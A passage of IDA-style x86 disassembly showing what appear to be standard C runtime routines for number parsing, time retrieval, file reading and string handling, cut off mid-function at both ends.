mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_416946: ; CODE XREF: sub_416881+91j
; sub_416881+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_416956: ; CODE XREF: sub_416881+16Cj
cmp dword_437F7C, 1
movzx esi, bl
jle short loc_41696E
push 4
push esi
call sub_418556
pop ecx
pop ecx
jmp short loc_416979
; ---------------------------------------------------------------------------
loc_41696E: ; CODE XREF: sub_416881+DFj
mov eax, off_437D70
mov al, [eax+esi*2]
and eax, 4
loc_416979: ; CODE XREF: sub_416881+EBj
test eax, eax
jz short loc_416985
movsx ecx, bl
sub ecx, 30h
jmp short loc_4169B7
; ---------------------------------------------------------------------------
loc_416985: ; CODE XREF: sub_416881+FAj
cmp dword_437F7C, 1
jle short loc_416999
push edi
push esi
call sub_418556
pop ecx
pop ecx
jmp short loc_4169A4
; ---------------------------------------------------------------------------
loc_416999: ; CODE XREF: sub_416881+10Bj
mov eax, off_437D70
mov ax, [eax+esi*2]
and eax, edi
loc_4169A4: ; CODE XREF: sub_416881+116j
test eax, eax
jz short loc_4169F2
movsx eax, bl
push eax
call sub_41AC71
pop ecx
mov ecx, eax
sub ecx, 37h
loc_4169B7: ; CODE XREF: sub_416881+102j
cmp ecx, [ebp+arg_8]
jnb short loc_4169F2
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_4169DC
jnz short loc_4169D6
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_4169DC
loc_4169D6: ; CODE XREF: sub_416881+147j
or [ebp+arg_C], 4
jmp short loc_4169E5
; ---------------------------------------------------------------------------
loc_4169DC: ; CODE XREF: sub_416881+145j
; sub_416881+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_4169E5: ; CODE XREF: sub_416881+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_416956
; ---------------------------------------------------------------------------
loc_4169F2: ; CODE XREF: sub_416881+125j
; sub_416881+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_416A10
test edx, edx
jz short loc_416A0A
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_416A0A: ; CODE XREF: sub_416881+181j
and [ebp+var_8], 0
jmp short loc_416A5D
; ---------------------------------------------------------------------------
loc_416A10: ; CODE XREF: sub_416881+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_416A36
test cl, 1
jnz short loc_416A5D
and ecx, 2
jz short loc_416A2D
cmp [ebp+var_8], 80000000h
ja short loc_416A36
loc_416A2D: ; CODE XREF: sub_416881+1A1j
test ecx, ecx
jnz short loc_416A5D
cmp [ebp+var_8], eax
jbe short loc_416A5D
loc_416A36: ; CODE XREF: sub_416881+197j
; sub_416881+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_469494, 22h
jz short loc_416A4C
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_416A5D
; ---------------------------------------------------------------------------
loc_416A4C: ; CODE XREF: sub_416881+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_416A5D: ; CODE XREF: sub_416881+18Dj
; sub_416881+19Cj ...
test edx, edx
jz short loc_416A66
mov eax, [ebp+var_4]
mov [edx], eax
loc_416A66: ; CODE XREF: sub_416881+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_416A74
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_416A74: ; CODE XREF: sub_416881+1E9j
mov eax, [ebp+var_8]
jmp short loc_416A84
; ---------------------------------------------------------------------------
loc_416A79: ; CODE XREF: sub_416881+66j
; sub_416881+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_416A82
mov [eax], edi
loc_416A82: ; CODE XREF: sub_416881+1FDj
xor eax, eax
loc_416A84: ; CODE XREF: sub_416881+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_416881 endp
; =============== S U B R O U T I N E =======================================
sub_416A89 proc near ; CODE XREF: sub_405409+4BDp
; sub_40CE55+3641p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_416881
add esp, 10h
retn
sub_416A89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416AA0 proc near ; CODE XREF: sub_405409+266p
; sub_405409+46Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_415CF0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_41AD3D
add esp, 10h
leave
retn
sub_416AA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416AD4 proc near ; CODE XREF: sub_405409+4Ep
var_CC = byte ptr -0CCh
var_32 = word ptr -32h
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_16 = word ptr -16h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp+var_10]
push eax
call dword_42105C ; GetLocalTime
lea eax, [ebp+var_20]
push eax
call dword_42115C ; GetSystemTime
mov ax, [ebp+var_16]
cmp ax, word_46948A
jnz short loc_416B39
mov ax, [ebp+var_18]
cmp ax, word_469488
jnz short loc_416B39
mov ax, [ebp+var_1A]
cmp ax, word_469486
jnz short loc_416B39
mov ax, [ebp+var_1E]
cmp ax, word_469482
jnz short loc_416B39
mov ax, [ebp+var_20]
cmp ax, word_469480
jnz short loc_416B39
mov eax, dword_469478
jmp short loc_416B7E
; ---------------------------------------------------------------------------
loc_416B39: ; CODE XREF: sub_416AD4+28j
; sub_416AD4+35j ...
lea eax, [ebp+var_CC]
push eax
call dword_421158 ; GetTimeZoneInformation
cmp eax, 0FFFFFFFFh
jz short loc_416B66
cmp eax, 2
jnz short loc_416B62
cmp [ebp+var_32], 0
jz short loc_416B62
cmp [ebp+var_24], 0
jz short loc_416B62
push 1
pop eax
jmp short loc_416B69
; ---------------------------------------------------------------------------
loc_416B62: ; CODE XREF: sub_416AD4+7Aj
; sub_416AD4+81j ...
xor eax, eax
jmp short loc_416B69
; ---------------------------------------------------------------------------
loc_416B66: ; CODE XREF: sub_416AD4+75j
or eax, 0FFFFFFFFh
loc_416B69: ; CODE XREF: sub_416AD4+8Cj
; sub_416AD4+90j
push esi
push edi
lea esi, [ebp+var_20]
mov edi, offset word_469480
movsd
movsd
movsd
movsd
pop edi
mov dword_469478, eax
pop esi
loc_416B7E: ; CODE XREF: sub_416AD4+63j
push eax
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_10]
push eax
call sub_41B7EE
mov ecx, [ebp+arg_0]
add esp, 1Ch
test ecx, ecx
jz short locret_416BAE
mov [ecx], eax
locret_416BAE: ; CODE XREF: sub_416AD4+D6j
leave
retn
sub_416AD4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416BB0 proc near ; CODE XREF: sub_405A89+4Ep
; sub_406C3E+30Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_416BD4
xor eax, eax
jmp loc_416C7D
; ---------------------------------------------------------------------------
loc_416BD4: ; CODE XREF: sub_416BB0+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_416BE7
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_416BF3
; ---------------------------------------------------------------------------
loc_416BE7: ; CODE XREF: sub_416BB0+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_416BF3
; ---------------------------------------------------------------------------
loc_416BF0: ; CODE XREF: sub_416BB0+C4j
mov ecx, [ebp+arg_0]
loc_416BF3: ; CODE XREF: sub_416BB0+35j
; sub_416BB0+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_416C25
mov eax, [esi+4]
test eax, eax
jz short loc_416C25
cmp ecx, eax
mov edi, ecx
jb short loc_416C0A
mov edi, eax
loc_416C0A: ; CODE XREF: sub_416BB0+56j
push edi
push dword ptr [esi]
push ebx
call sub_4155D0
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_416C70
; ---------------------------------------------------------------------------
loc_416C25: ; CODE XREF: sub_416BB0+49j
; sub_416BB0+50j
cmp ecx, [ebp+arg_C]
jb short loc_416C58
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_416C3B
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_416C3B: ; CODE XREF: sub_416BB0+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41B989
add esp, 0Ch
test eax, eax
jz short loc_416C82
cmp eax, 0FFFFFFFFh
jz short loc_416C88
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_416C70
; ---------------------------------------------------------------------------
loc_416C58: ; CODE XREF: sub_416BB0+78j
push esi
call sub_41B8B0
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_416C8C
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_416C70: ; CODE XREF: sub_416BB0+73j
; sub_416BB0+A6j
cmp [ebp+arg_0], 0
jnz loc_416BF0
mov eax, [ebp+arg_8]
loc_416C7D: ; CODE XREF: sub_416BB0+1Fj
; sub_416BB0+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_416C82: ; CODE XREF: sub_416BB0+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_416C8C
; ---------------------------------------------------------------------------
loc_416C88: ; CODE XREF: sub_416BB0+9Fj
or dword ptr [esi+0Ch], 20h
loc_416C8C: ; CODE XREF: sub_416BB0+B2j
; sub_416BB0+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_416C7D
sub_416BB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416C98 proc near ; CODE XREF: sub_405B23+2B2p
; sub_406100+101p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_416CB1: ; CODE XREF: sub_416C98+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_416CB1
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_416CD9
mov edx, dword_469490
loc_416CD9: ; CODE XREF: sub_416C98+39j
; sub_416C98+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_416CF9
test al, al
jz short loc_416CF9
inc edx
jmp short loc_416CD9
; ---------------------------------------------------------------------------
loc_416CF9: ; CODE XREF: sub_416C98+58j
; sub_416C98+5Cj
mov ebx, edx
loc_416CFB: ; CODE XREF: sub_416C98+81j
mov al, [edx]
test al, al
jz short loc_416D1F
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_416D1B
inc edx
jmp short loc_416CFB
; ---------------------------------------------------------------------------
loc_416D1B: ; CODE XREF: sub_416C98+7Ej
and byte ptr [edx], 0
inc edx
loc_416D1F: ; CODE XREF: sub_416C98+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_469490, edx
and eax, ebx
pop ebx
leave
retn
sub_416C98 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416D40 proc near ; CODE XREF: sub_4063B0+1B4p
; sub_407276+6Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_416DC3
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_416D64
shr ecx, 2
jnz short loc_416DD1
jmp short loc_416D85
; ---------------------------------------------------------------------------
loc_416D64: ; CODE XREF: sub_416D40+1Bj
; sub_416D40+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_416D92
test al, al
jz short loc_416D9A
test esi, 3
jnz short loc_416D64
mov ebx, ecx
shr ecx, 2
jnz short loc_416DD1
loc_416D80: ; CODE XREF: sub_416D40+8Fj
and ebx, 3
jz short loc_416D92
loc_416D85: ; CODE XREF: sub_416D40+22j
; sub_416D40+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_416DBE
dec ebx
jnz short loc_416D85
loc_416D92: ; CODE XREF: sub_416D40+2Bj
; sub_416D40+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_416D9A: ; CODE XREF: sub_416D40+2Fj
test edi, 3
jz short loc_416DB4
loc_416DA2: ; CODE XREF: sub_416D40+72j
mov [edi], al
inc edi
dec ecx
jz loc_416E36
test edi, 3
jnz short loc_416DA2
loc_416DB4: ; CODE XREF: sub_416D40+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_416E27
loc_416DBB: ; CODE XREF: sub_416D40+7Fj
; sub_416D40+F4j
mov [edi], al
inc edi
loc_416DBE: ; CODE XREF: sub_416D40+4Dj
dec ebx
jnz short loc_416DBB
pop ebx
pop esi
loc_416DC3: ; CODE XREF: sub_416D40+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_416DC9: ; CODE XREF: sub_416D40+A9j
; sub_416D40+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_416D80
loc_416DD1: ; CODE XREF: sub_416D40+20j
; sub_416D40+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_416DC9
test dl, dl
jz short loc_416E1B
test dh, dh
jz short loc_416E11
test edx, 0FF0000h
jz short loc_416E07
test edx, 0FF000000h
jnz short loc_416DC9
mov [edi], edx
jmp short loc_416E1F
; ---------------------------------------------------------------------------
loc_416E07: ; CODE XREF: sub_416D40+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_416E1F
; ---------------------------------------------------------------------------
loc_416E11: ; CODE XREF: sub_416D40+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_416E1F
; ---------------------------------------------------------------------------
loc_416E1B: ; CODE XREF: sub_416D40+ADj
xor edx, edx
mov [edi], edx
loc_416E1F: ; CODE XREF: sub_416D40+C5j
; sub_416D40+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_416E31
loc_416E27: ; CODE XREF: sub_416D40+79j
xor eax, eax
loc_416E29: ; CODE XREF: sub_416D40+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_416E29
loc_416E31: ; CODE XREF: sub_416D40+E5j
and ebx, 3
jnz short loc_416DBB
loc_416E36: ; CODE XREF: sub_416D40+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_416D40 endp
; =============== S U B R O U T I N E =======================================
sub_416E3E proc near ; CODE XREF: sub_406C3E+2E2p
; sub_406C3E+435p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_416EBA
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_416E5D
cmp edi, 1
jz short loc_416E5D
cmp edi, 2
jnz short loc_416EBA
loc_416E5D: ; CODE XREF: sub_416E3E+13j
; sub_416E3E+18j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_416E74
push esi
call sub_41BC19
add [esp+0Ch+arg_4], eax
pop ecx
xor edi, edi
loc_416E74: ; CODE XREF: sub_416E3E+27j
push esi
call sub_4186E4
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_416E89
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_416E9D
; ---------------------------------------------------------------------------
loc_416E89: ; CODE XREF: sub_416E3E+42j
test al, 1
jz short loc_416E9D
test al, 8
jz short loc_416E9D
test ah, 4
jnz short loc_416E9D
mov dword ptr [esi+18h], 200h
loc_416E9D: ; CODE XREF: sub_416E3E+49j
; sub_416E3E+4Dj ...
push edi
push [esp+0Ch+arg_4]
push dword ptr [esi+10h]
call sub_41BB7F
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_416EC7
; ---------------------------------------------------------------------------
loc_416EBA: ; CODE XREF: sub_416E3E+Bj
; sub_416E3E+1Dj
mov dword_469494, 16h
or eax, 0FFFFFFFFh
loc_416EC7: ; CODE XREF: sub_416E3E+7Aj
pop edi
pop esi
retn
sub_416E3E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416ED0 proc near ; CODE XREF: sub_406C3E+2ACp
; sub_406C3E+2CDp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_416F01
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_416EFF
jz short loc_416F01
dec ecx
dec ecx
loc_416EFF: ; CODE XREF: sub_416ED0+29j
not ecx
loc_416F01: ; CODE XREF: sub_416ED0+9j
; sub_416ED0+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_416ED0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416F10 proc near ; CODE XREF: sub_407135+5Cp
; sub_407135+9Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_416FC4
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_416F3A
loc_416F2B: ; CODE XREF: sub_416F10+28j
mov al, [edi]
inc edi
test al, al
jz short loc_416F6B
test edi, 3
jnz short loc_416F2B
loc_416F3A: ; CODE XREF: sub_416F10+19j
; sub_416F10+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_416F3A
mov eax, [edi-4]
test al, al
jz short loc_416F78
test ah, ah
jz short loc_416F73
test eax, 0FF0000h
jz short loc_416F6E
test eax, 0FF000000h
jnz short loc_416F3A
loc_416F6B: ; CODE XREF: sub_416F10+20j
dec edi
jmp short loc_416F7B
; ---------------------------------------------------------------------------
loc_416F6E: ; CODE XREF: sub_416F10+52j
sub edi, 2
jmp short loc_416F7B
; ---------------------------------------------------------------------------
loc_416F73: ; CODE XREF: sub_416F10+4Bj
sub edi, 3
jmp short loc_416F7B
; ---------------------------------------------------------------------------
loc_416F78: ; CODE XREF: sub_416F10+47j
sub edi, 4
loc_416F7B: ; CODE XREF: sub_416F10+5Cj
; sub_416F10+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_416F90
mov ebx, ecx
shr ecx, 2
jnz short loc_416FDC
jmp short loc_416FAC
; ---------------------------------------------------------------------------
loc_416F90: ; CODE XREF: sub_416F10+75j
; sub_416F10+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_416FCA
mov [edi], dl
inc edi
dec ecx
jz short loc_416FC0
test esi, 3
jnz short loc_416F90
mov ebx, ecx
shr ecx, 2
jnz short loc_416FDC
loc_416FAC: ; CODE XREF: sub_416F10+7Ej
; sub_416F10+CAj
mov ecx, ebx
and ecx, 3
jz short loc_416FC0
loc_416FB3: ; CODE XREF: sub_416F10+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_416FC2
dec ecx
jnz short loc_416FB3
loc_416FC0: ; CODE XREF: sub_416F10+8Bj
; sub_416F10+A1j
mov [edi], cl
loc_416FC2: ; CODE XREF: sub_416F10+ABj
pop ebx
pop esi
loc_416FC4: ; CODE XREF: sub_416F10+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_416FCA: ; CODE XREF: sub_416F10+85j
; sub_416F10+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_416FD4: ; CODE XREF: sub_416F10+E4j
; sub_416F10+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_416FAC
loc_416FDC: ; CODE XREF: sub_416F10+7Cj
; sub_416F10+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_416FD4
test dl, dl
jz short loc_416FCA
test dh, dh
jz short loc_417028
test edx, 0FF0000h
jz short loc_417018
test edx, 0FF000000h
jnz short loc_416FD4
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_417018: ; CODE XREF: sub_416F10+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_417028: ; CODE XREF: sub_416F10+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_416F10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417040 proc near ; CODE XREF: sub_407276+2A2p
; sub_40CE55+30AFp ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_417061
xor eax, eax
jmp short loc_417063
; ---------------------------------------------------------------------------
loc_417061: ; CODE XREF: sub_417040+1Bj
mov eax, edi
loc_417063: ; CODE XREF: sub_417040+1Fj
cld
pop edi
leave
retn
sub_417040 endp
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_417080
loc_417070: ; CODE XREF: sub_417080+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_417080
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417080 proc near ; CODE XREF: sub_4085D3+DBp
; sub_40CE55+411p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 00417070 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_417086: ; CODE XREF: sub_415AC0+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_4170AB
loc_417098: ; CODE XREF: sub_417080+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_417070
test cl, cl
jz short loc_4170F4
test edx, 3
jnz short loc_417098
loc_4170AB: ; CODE XREF: sub_417080+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_4170B6: ; CODE XREF: sub_417080+61j
; sub_417080+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_4170F8
and eax, 81010100h
jz short loc_4170B6
and eax, 1010100h
jnz short loc_4170F2
and esi, 80000000h
jnz short loc_4170B6
loc_4170F2: ; CODE XREF: sub_417080+68j
; sub_417080+81j ...
pop esi
pop edi
loc_4170F4: ; CODE XREF: sub_417080+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4170F8: ; CODE XREF: sub_417080+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_417135
test al, al
jz short loc_4170F2
cmp ah, bl
jz short loc_41712E
test ah, ah
jz short loc_4170F2
shr eax, 10h
cmp al, bl
jz short loc_417127
test al, al
jz short loc_4170F2
cmp ah, bl
jz short loc_417120
test ah, ah
jz short loc_4170F2
jmp short loc_4170B6
; ---------------------------------------------------------------------------
loc_417120: ; CODE XREF: sub_417080+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_417127: ; CODE XREF: sub_417080+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41712E: ; CODE XREF: sub_417080+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_417135: ; CODE XREF: sub_417080+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_417080 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41713C proc near ; CODE XREF: sub_4085D3+AFp
; sub_40CE55+4479p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_417150
xor eax, eax
jmp short loc_417186
; ---------------------------------------------------------------------------
loc_417150: ; CODE XREF: sub_41713C+Ej
dec [ebp+arg_4]
push esi
jz short loc_417180
mov esi, [ebp+arg_8]
loc_417159: ; CODE XREF: sub_41713C+42j
dec dword ptr [esi+4]
js short loc_417168
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41716F
; ---------------------------------------------------------------------------
loc_417168: ; CODE XREF: sub_41713C+20j
push esi
call sub_41B8B0
pop ecx
loc_41716F: ; CODE XREF: sub_41713C+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41718A
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_417180
dec [ebp+arg_4]
jnz short loc_417159
loc_417180: ; CODE XREF: sub_41713C+18j
; sub_41713C+3Dj ...
and byte ptr [edi], 0
loc_417183: ; CODE XREF: sub_41713C+55j
mov eax, ebx
pop esi
loc_417186: ; CODE XREF: sub_41713C+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41718A: ; CODE XREF: sub_41713C+36j
cmp edi, [ebp+arg_0]
jnz short loc_417180
xor ebx, ebx
jmp short loc_417183
sub_41713C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417193 proc near ; CODE XREF: sub_409B24+6p
; sub_409B42+4Ap ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_469528, 0
push ebx
push esi
push edi
jnz short loc_4171C0
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_417259
cmp eax, 5Ah
jg loc_417259
add eax, 20h
jmp loc_417259
; ---------------------------------------------------------------------------
loc_4171C0: ; CODE XREF: sub_417193+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_4171F4
cmp dword_437F7C, esi
jle short loc_4171E2
push esi
push ebx
call sub_418556
pop ecx
pop ecx
jmp short loc_4171EC
; ---------------------------------------------------------------------------
loc_4171E2: ; CODE XREF: sub_417193+42j
mov eax, off_437D70
mov al, [eax+ebx*2]
and eax, esi
loc_4171EC: ; CODE XREF: sub_417193+4Dj
test eax, eax
jnz short loc_4171F4
loc_4171F0: ; CODE XREF: sub_417193+ADj
mov eax, ebx
